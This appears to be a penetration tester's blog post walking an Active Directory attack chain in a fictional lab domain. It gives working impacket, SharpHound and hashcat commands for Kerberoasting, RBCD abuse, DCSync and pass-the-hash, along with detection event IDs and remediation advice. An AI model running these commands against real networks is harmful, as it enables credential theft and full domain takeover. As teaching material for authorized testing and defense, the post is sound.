Active Directory Attack Paths: From Foothold to Domain Admin
A practical walk through a realistic Active Directory compromise — Kerberoasting, NTLM relay, ACL abuse, and DCSync — with BloodHound-style diagrams, the exact commands I run, and the detection signal each step generates.
By Umair Sabir
Most internal pentests don't end with a CVE. They end with someone forgot to fix the GPO five years ago, and the path from a low-priv domain user to Domain Admin is six hops long. This post walks the most common path I see in production environments — from initial foothold through DCSync — with the exact commands, the diagrams I draw on a whiteboard, and the noise each step makes on a SOC dashboard.
The commands here are the ones I run on real engagements. The targets are fictional but the pattern is real.
The lab
Three boxes, one domain (corp.local), one cup of coffee:
We'll assume jdoe is a regular domain user. No local admin anywhere. No GPO push. We're going to walk out as Domain Admins.
Step 1 — Recon with BloodHound
Before I touch a single exploit I want to know the shape of the domain. BloodHound is a graph database that ingests AD objects + ACLs and lets me ask questions like "what's the shortest path from jdoe to Domain Admins?".
I collect with SharpHound running as jdoe:
# from a Windows-flavoured shell on WS-DEV05
SharpHound.exe -c All --zipfilename loot.zip
Drop loot.zip into the BloodHound UI and run the canned query "Shortest paths from owned principals to Domain Admins". Below is the kind of graph you typically get on a real network — hand-drawn equivalent:
Two viable paths jump out: a Kerberoastable service account SVC_SQL that's a member of helpdesk, and a backup_ops group with DCSync rights. Either gets us the win — let's chase both so we have redundancy.
Step 2 — Kerberoasting SVC_SQL
Any authenticated domain user can request a Kerberos service ticket for any account with an SPN. The TGS is encrypted with the service account's NTLM hash — which means we can crack it offline.
# from Linux, with valid creds
impacket-GetUserSPNs corp.local/jdoe:'Summer2024!' \
-dc-ip 10.10.10.10 -request -outputfile spns.txt
A clean spns.txt looks like this:
Then crack with hashcat. On a single RTX 3070 you're getting roughly 1.4 GH/s on mode 13100 — most reused passwords fall in seconds:
hashcat -m 13100 spns.txt rockyou.txt -r rules/best64.rule
The hash mode is 13100, not 18200. 18200 is for AS-REP roasting (no pre-auth), which is the next thing to try if Kerberoasting fails.
Result: SVC_SQL : MSSQL2019!. We now have a second account, and helpdesk membership.
Detection signal
This generates Event ID 4769 on the DC for every TGS we request. Any blue team running a "TGS request volume per user" detection will see jdoe spike. The trick most red teamers miss: only Kerberoast the accounts you actually need — don't spray.
Step 3 — Lateral via ACL abuse (GenericWrite)
helpdesk has GenericWrite over WS-DEV05$. That doesn't sound like much — but GenericWrite lets us set msDS-AllowedToActOnBehalfOfOtherIdentity, enabling resource-based constrained delegation (RBCD).
The idea: we add a fake computer account to AD (any domain user can do this — MachineAccountQuota = 10 by default), then tell WS-DEV05$ it can be impersonated to itself by our fake. Then we ask Kerberos for a ticket as Administrator on WS-DEV05$.
# create the attacker-controlled computer
impacket-addcomputer -computer-name 'EVIL$' -computer-pass 'Pwn3d!' \
-dc-host DC01.corp.local 'corp.local/SVC_SQL:MSSQL2019!'
# write the RBCD attribute
impacket-rbcd -delegate-from 'EVIL$' -delegate-to 'WS-DEV05$' \
-dc-ip 10.10.10.10 -action write 'corp.local/SVC_SQL:MSSQL2019!'
# request a ticket as Administrator on the box
impacket-getST -spn 'cifs/ws-dev05.corp.local' \
-impersonate Administrator \
-dc-ip 10.10.10.10 'corp.local/EVIL$:Pwn3d!'
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass ws-dev05.corp.local
That's a SYSTEM shell on WS-DEV05. Dump LSASS, harvest credentials cached on the box, look for what other accounts have logged in here.
Detection signal
addcomputer writes a new computer account → Event 4741. RBCD writes touch msDS-AllowedToActOnBehalfOfOtherIdentity — auditing on that attribute is the single best AD detection you can deploy and almost nobody does.
Step 4 — DCSync via backup_ops
Honestly? At this point I've already won. But for completeness — backup_ops was the second path BloodHound flagged. Members of that group have Replicating Directory Changes and Replicating Directory Changes All. That equals DCSync.
Imagine LSASS on WS-DEV05 gave us cached creds for bgreen (a backup_ops member):
impacket-secretsdump -just-dc 'corp.local/bgreen:Backup#22'@10.10.10.10
Output (truncated):
That's the krbtgt hash. Game over — golden tickets, persistence, the full menu.
Step 5 — Pass-the-hash to Domain Admin
impacket-psexec -hashes :7facdc498ed1680c4fd1448319a8c04f \
'corp.local/Administrator'@10.10.10.10
nt authority\system on the DC. Take screenshots. Write the report.
What the report actually says
The findings I file aren't "we got DA" — those are outcomes, not findings. The findings are:
SVC_SQLhas a 12-char password and a SPN. Rotate. Use a gMSA going forward.helpdeskhasGenericWriteover endpoints it doesn't need. Tier them out.MachineAccountQuotais 10. Set it to 0 unless you have a specific reason.backup_opshas DCSync rights nobody documented. Audit who's in it.
Each of those is independently fixable. Each one alone breaks at least one step of the chain. Defense in depth means none of this works in isolation.
TL;DR cheatsheet
Want the next post in this series? I'm planning a deep-dive on kerberos delegation gone wrong — unconstrained, constrained, and the RBCD pattern above — with the exact ticket flows side-by-side. Subscribe to the RSS feed.